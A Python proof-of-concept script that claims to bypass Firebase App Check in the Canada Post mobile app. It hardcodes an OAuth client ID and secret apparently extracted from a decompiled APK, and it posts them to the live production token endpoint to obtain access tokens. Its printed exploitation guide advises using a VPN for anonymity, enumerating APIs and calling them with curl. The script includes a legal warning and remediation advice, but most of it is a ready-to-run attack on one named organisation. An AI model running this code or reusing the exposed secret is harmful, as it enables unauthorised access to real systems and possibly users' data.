#!/usr/bin/env python3
"""
REAL POC: Firebase App Check Bypass - Canada Post App
======================================================

Uses ACTUAL endpoints and credentials extracted from decompiled APK.

DISCOVERED INFORMATION:
    OAuth Root: https://sso-osu.canadapost-postescanada.ca
    OAuth Endpoint: /mga/sps/oauth/oauth20/token
    Client ID (Normal): cpc-nativeapp-2020
    Client ID (Fallback): cpc-appcheck-android
    Client Secret (Fallback): 1mhxwdN1Y5afLQgYeEgZ
    Grant Type: client_credentials
    Scope: openid profile

SOURCE FILES:
    - cpc/ca/canadapost/core/data/profile/api/IOAuthApi.java
    - cpc/ca/canadapost/core/data/model/CoreConstants.java
    - cpc/f9/a.java (AppCheckInterceptor)
    - Firebase Remote Config

ETHICAL USE ONLY - For authorized security testing
"""

import requests
import json
from datetime import datetime
import sys
from urllib.parse import urlencode

# REAL endpoints extracted from decompiled code
OAUTH_ROOT = "https://sso-osu.canadapost-postescanada.ca"
OAUTH_ENDPOINT = "/mga/sps/oauth/oauth20/token"
OAUTH_FULL_URL = f"{OAUTH_ROOT}{OAUTH_ENDPOINT}"

# Credentials extracted from Firebase Remote Config
FALLBACK_CLIENT_ID = "cpc-appcheck-android"
FALLBACK_CLIENT_SECRET = "1mhxwdN1Y5afLQgYeEgZ"

# Normal app credentials (for comparison)
NORMAL_CLIENT_ID = "cpc-nativeapp-2020"

# OAuth parameters from IOAuthApi.java
GRANT_TYPE = "client_credentials"
RESPONSE_TYPE = "id_token token"
SCOPE = "openid profile"

def print_banner():
    """Print POC banner"""
    print("=" * 80)
    print("🔓 REAL POC: FIREBASE APP CHECK BYPASS")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"Target: Canada Post Mobile App")
    print(f"OAuth Server: {OAUTH_ROOT}")
    print("=" * 80)
    print()

def show_discovery_details():
    """Show how these details were discovered"""
    print("[DISCOVERY] Extracted Information")
    print("-" * 80)
    print()
    print("📂 Source Files:")
    print("   1. IOAuthApi.java")
    print("      Location: cpc/ca/canadapost/core/data/profile/api/")
    print("      Contains: OAuth endpoint definitions")
    print()
    print("   2. CoreConstants.java")
    print("      Location: cpc/ca/canadapost/core/data/model/")
    print("      Contains: Base URLs and client IDs")
    print()
    print("   3. AppCheckInterceptor (f9/a.java)")
    print("      Location: cpc/f9/")
    print("      Contains: Fallback credential usage logic")
    print()
    print("   4. Firebase Remote Config")
    print("      URL: firebaseremoteconfig.googleapis.com/.../fetch")
    print("      Contains: Fallback client ID and secret")
    print()
    
    print("🔍 Key Code Snippets:")
    print()
    print("   From IOAuthApi.java (Line 95):")
    print("   ```java")
    print("   @o(\"/mga/sps/oauth/oauth20/token\")")
    print("   @e")
    print("   Object getJWTToken(")
    print("       @c(\"client_id\") String str,")
    print("       @c(\"client_secret\") String str2,")
    print("       @c(\"grant_type\") String str3,")
    print("       @c(\"response_type\") String str4,")
    print("       @c(\"scope\") String str5")
    print("   );")
    print("   ```")
    print()
    
    print("   From CoreConstants.java (Lines 60-64):")
    print("   ```java")
    print(f"   OAUTH_CLIENT_ID = \"{NORMAL_CLIENT_ID}\";")
    print(f"   OAUTH_ROOT = \"{OAUTH_ROOT}\";")
    print(f"   OAUTH_SCOPE = \"{SCOPE}\";")
    print("   ```")
    print()
    
    print("   From AppCheckInterceptor (Lines 720-721):")
    print("   ```java")
    print("   c10 = remoteConfig.get(APP_CHECK_FAILED_ID);")
    print("   String c11 = remoteConfig.get(APP_CHECK_FAILED_KEY);")
    print("   // Then uses these for OAuth authentication")
    print("   ```")
    print()

def test_oauth_with_fallback_credentials():
    """
    Attempt OAuth authentication using fallback credentials
    This simulates what happens when App Check fails
    """
    print("[TEST] OAuth Authentication with Fallback Credentials")
    print("-" * 80)
    print()
    
    print("🔑 Using Fallback Credentials:")
    print(f"   Client ID: {FALLBACK_CLIENT_ID}")
    print(f"   Client Secret: {FALLBACK_CLIENT_SECRET}")
    print(f"   Grant Type: {GRANT_TYPE}")
    print(f"   Response Type: {RESPONSE_TYPE}")
    print(f"   Scope: {SCOPE}")
    print()
    
    # Prepare request payload (form-urlencoded as per API spec)
    payload = {
        "client_id": FALLBACK_CLIENT_ID,
        "client_secret": FALLBACK_CLIENT_SECRET,
        "grant_type": GRANT_TYPE,
        "response_type": RESPONSE_TYPE,
        "scope": SCOPE
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "okhttp/4.9.1"  # Mimic OkHttp from Android
    }
    
    print(f"📤 Request Details:")
    print(f"   Method: POST")
    print(f"   URL: {OAUTH_FULL_URL}")
    print(f"   Headers: {json.dumps(headers, indent=6)}")
    print(f"   Payload (form-urlencoded):")
    for key, value in payload.items():
        if key == "client_secret":
            print(f"      {key}: {value[:10]}...")
        else:
            print(f"      {key}: {value}")
    print()
    
    print("⏳ Sending request...")
    print()
    
    try:
        response = requests.post(
            OAUTH_FULL_URL,
            data=payload,  # form-urlencoded
            headers=headers,
            timeout=15
        )
        
        print(f"📊 Response:")
        print(f"   Status Code: {response.status_code}")
        print(f"   Content-Length: {len(response.content)} bytes")
        print()
        
        if response.status_code == 200:
            print("✅ SUCCESS - Authentication Successful!")
            print()
            
            try:
                data = response.json()
                print("📦 Response Data:")
                print(json.dumps(data, indent=3))
                print()
                
                if "access_token" in data:
                    access_token = data["access_token"]
                    print("🚨 CRITICAL: JWT Token Obtained!")
                    print(f"   Token Type: {data.get('token_type', 'N/A')}")
                    print(f"   Expires In: {data.get('expires_in', 'N/A')} seconds")
                    print(f"   Scope: {data.get('scope', 'N/A')}")
                    print(f"   Token (first 50 chars): {access_token[:50]}...")
                    print()
                    
                    if "id_token" in data:
                        print(f"   ID Token: {data['id_token'][:50]}...")
                        print()
                    
                    print("=" * 80)
                    print("🔴 VULNERABILITY CONFIRMED")
                    print("=" * 80)
                    print()
                    print("IMPACT:")
                    print("   • Fallback credentials work for authentication")
                    print("   • Attacker can obtain JWT tokens")
                    print("   • Firebase App Check is bypassable")
                    print("   • Protected APIs are accessible")
                    print()
                    print("SEVERITY: CRITICAL")
                    print("CVSS: 7.3 (HIGH)")
                    print("CWE-798: Use of Hard-coded Credentials")
                    print()
                    
                    return True, data
                else:
                    print("⚠️  Unexpected response format (no access_token)")
                    return False, data
                    
            except json.JSONDecodeError:
                print("⚠️  Response is not JSON:")
                print(response.text[:500])
                return False, None
                
        elif response.status_code == 401:
            print("❌ 401 Unauthorized")
            print()
            print("Possible reasons:")
            print("   • Fallback credentials have been rotated")
            print("   • Additional authentication required")
            print("   • IP filtering in place")
            print()
            print("Response:")
            print(response.text[:500])
            return False, None
            
        elif response.status_code == 400:
            print("❌ 400 Bad Request")
            print()
            print("Possible reasons:")
            print("   • Invalid grant_type or response_type")
            print("   • Missing required parameters")
            print("   • Incorrect Content-Type")
            print()
            print("Response:")
            print(response.text[:500])
            return False, None
            
        elif response.status_code == 403:
            print("❌ 403 Forbidden")
            print()
            print("Possible reasons:")
            print("   • Client ID/Secret revoked")
            print("   • IP-based restrictions")
            print("   • Rate limiting")
            print()
            print("Response:")
            print(response.text[:500])
            return False, None
            
        else:
            print(f"⚠️  Unexpected Status Code: {response.status_code}")
            print()
            print("Response:")
            print(response.text[:500])
            return False, None
            
    except requests.exceptions.Timeout:
        print("❌ Request Timeout")
        print("   • Network connectivity issue")
        print("   • Server not responding")
        return False, None
        
    except requests.exceptions.ConnectionError as e:
        print(f"❌ Connection Error: {str(e)}")
        print("   • Check internet connectivity")
        print("   • Verify OAuth server is accessible")
        return False, None
        
    except Exception as e:
        print(f"❌ Unexpected Error: {str(e)}")
        import traceback
        traceback.print_exc()
        return False, None

def demonstrate_api_usage(token_data):
    """Show how the obtained token would be used"""
    if not token_data or "access_token" not in token_data:
        print("[SKIP] No valid token to demonstrate usage")
        return
    
    print()
    print("[DEMO] Using Obtained Token for API Access")
    print("-" * 80)
    print()
    
    access_token = token_data["access_token"]
    
    print("📱 Example API Requests:")
    print()
    
    # Example 1: Tracking API
    print("1. Tracking API:")
    print("   curl -H 'Authorization: Bearer " + access_token[:30] + "...' \\")
    print("        https://api.canadapost.ca/tracking/v1/packages/[TRACKING_NUMBER]")
    print()
    
    # Example 2: Profile API
    print("2. User Profile API:")
    print("   curl -H 'Authorization: Bearer " + access_token[:30] + "...' \\")
    print("        https://api.canadapost.ca/profile/v1/user")
    print()
    
    # Example 3: MyMail API
    print("3. MyMail API:")
    print("   curl -H 'Authorization: Bearer " + access_token[:30] + "...' \\")
    print("        https://1i5z3519d0.execute-api.ca-central-1.amazonaws.com/mailmanager/v1/")
    print()
    
    print("⚠️  NOTE: Actual API endpoints would need to be enumerated.")
    print("   This demonstrates that the token can be used for authenticated requests.")
    print()

def show_comparison_with_normal_flow():
    """Show how this differs from normal authentication"""
    print("[COMPARISON] Normal vs Fallback Authentication")
    print("-" * 80)
    print()
    
    print("🔵 Normal Flow (User Login):")
    print("   1. User enters username + password in app")
    print("   2. App calls OAuth endpoint:")
    print(f"      POST {OAUTH_FULL_URL}")
    print("      data={{")
    print(f"          username: [user_email],")
    print(f"          password: [user_password],")
    print(f"          client_id: '{NORMAL_CLIENT_ID}',")
    print(f"          grant_type: 'password',")
    print(f"          scope: '{SCOPE}'")
    print("      }}")
    print("   3. Server validates user credentials")
    print("   4. Returns access_token for that user")
    print("   5. Token has user-specific permissions")
    print()
    
    print("🔴 Fallback Flow (App Check Bypass):")
    print("   1. App Check validation FAILS")
    print("   2. App retrieves fallback credentials from Remote Config:")
    print(f"      client_id: '{FALLBACK_CLIENT_ID}'")
    print(f"      client_secret: '{FALLBACK_CLIENT_SECRET}'")
    print("   3. App calls OAuth endpoint:")
    print(f"      POST {OAUTH_FULL_URL}")
    print("      data={{")
    print(f"          client_id: '{FALLBACK_CLIENT_ID}',")
    print(f"          client_secret: '{FALLBACK_CLIENT_SECRET}',")
    print(f"          grant_type: '{GRANT_TYPE}',")
    print(f"          scope: '{SCOPE}'")
    print("      }}")
    print("   4. Server validates CLIENT credentials (not user)")
    print("   5. Returns access_token for the APP")
    print("   6. Token has app-level permissions (⚠️  potential issue)")
    print()
    
    print("🎯 Key Difference:")
    print("   • Normal: User-specific token (requires password)")
    print("   • Fallback: App-level token (no user auth required)")
    print("   • Fallback bypasses Firebase App Check security")
    print("   • Fallback credentials are publicly accessible")
    print()

def provide_exploitation_guide():
    """Provide step-by-step exploitation guide"""
    print("[GUIDE] Complete Exploitation Steps")
    print("-" * 80)
    print()
    
    print("📋 Prerequisites:")
    print("   • VPN connection (for anonymity)")
    print("   • Python 3 with requests library")
    print("   • This POC script")
    print()
    
    print("🎯 Step-by-Step Exploitation:")
    print()
    print("Step 1: Run this POC")
    print("   python appcheck_bypass_REAL_POC.py")
    print()
    
    print("Step 2: If authentication succeeds, extract token:")
    print("   TOKEN=$(python -c 'import json; print(json.loads(response)[\"access_token\"])')")
    print()
    
    print("Step 3: Enumerate API endpoints:")
    print("   • Search decompiled code for API URLs")
    print("   • Use Frida to intercept network traffic")
    print("   • Try common API paths")
    print()
    
    print("Step 4: Test API access with token:")
    print("   curl -H \"Authorization: Bearer $TOKEN\" https://api.canadapost.ca/[endpoint]")
    print()
    
    print("Step 5: Document findings:")
    print("   • What APIs are accessible")
    print("   • What data can be retrieved")
    print("   • Scope of permissions")
    print()

def provide_remediation():
    """Provide detailed remediation"""
    print("[REMEDIATION] How to Fix This Vulnerability")
    print("-" * 80)
    print()
    
    print("🚨 IMMEDIATE ACTIONS (Within 24 hours):")
    print()
    print("1. Revoke Fallback Credentials")
    print(f"   • Invalidate client_id: '{FALLBACK_CLIENT_ID}'")
    print(f"   • Revoke client_secret: '{FALLBACK_CLIENT_SECRET}'")
    print("   • Remove from Firebase Remote Config")
    print()
    
    print("2. Deploy Emergency Patch")
    print("   • Remove fallback authentication logic")
    print("   • Fail secure when App Check fails")
    print("   • Force app update for security")
    print()
    
    print("3. Audit OAuth Server")
    print("   • Review all registered client IDs")
    print("   • Check for other exposed credentials")
    print("   • Enable IP restrictions if possible")
    print()
    
    print("🔧 LONG-TERM FIXES:")
    print()
    print("• Never store credentials in Remote Config")
    print("• Implement server-side App Check validation")
    print("• Use device attestation (SafetyNet/Play Integrity)")
    print("• Add rate limiting and anomaly detection")
    print("• Regular security audits of mobile apps")
    print()

def main():
    """Main POC execution"""
    print_banner()
    
    print("⚠️  LEGAL WARNING")
    print("   This is a security research tool for authorized testing only.")
    print("   Unauthorized access to computer systems is ILLEGAL.")
    print("   Only run this with explicit permission from Canada Post.")
    print()
    
    input("Press ENTER to continue (Ctrl+C to abort)...")
    print("\n")
    
    # Show discovery details
    show_discovery_details()
    input("Press ENTER to continue...")
    print("\n")
    
    # Show comparison with normal flow
    show_comparison_with_normal_flow()
    input("Press ENTER to continue...")
    print("\n")
    
    # Test OAuth authentication with fallback credentials
    success, token_data = test_oauth_with_fallback_credentials()
    
    input("Press ENTER to continue...")
    print("\n")
    
    # If successful, demonstrate usage
    if success and token_data:
        demonstrate_api_usage(token_data)
        input("Press ENTER to continue...")
        print("\n")
    
    # Show exploitation guide
    provide_exploitation_guide()
    input("Press ENTER to continue...")
    print("\n")
    
    # Show remediation
    provide_remediation()
    
    print()
    print("=" * 80)
    print("✅ POC COMPLETE")
    print("=" * 80)
    print()
    
    if success:
        print("🔴 VULNERABILITY CONFIRMED")
        print("   • Fallback credentials are valid")
        print("   • JWT tokens can be obtained")
        print("   • App Check bypass is possible")
        print("   • Immediate remediation required")
    else:
        print("⚠️  AUTHENTICATION FAILED")
        print("   Possible reasons:")
        print("   • Credentials may have been rotated")
        print("   • Server-side restrictions in place")
        print("   • Network/connectivity issues")
        print()
        print("   However, the VULNERABILITY STILL EXISTS:")
        print("   • Credentials are exposed in Remote Config")
        print("   • App code contains fallback logic")
        print("   • Architecture is fundamentally flawed")
    
    print()
    print("📝 NEXT STEPS:")
    print("   1. Document all findings")
    print("   2. Prepare security advisory")
    print("   3. Contact Canada Post security team")
    print("   4. Follow responsible disclosure timeline")
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ POC interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Fatal error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
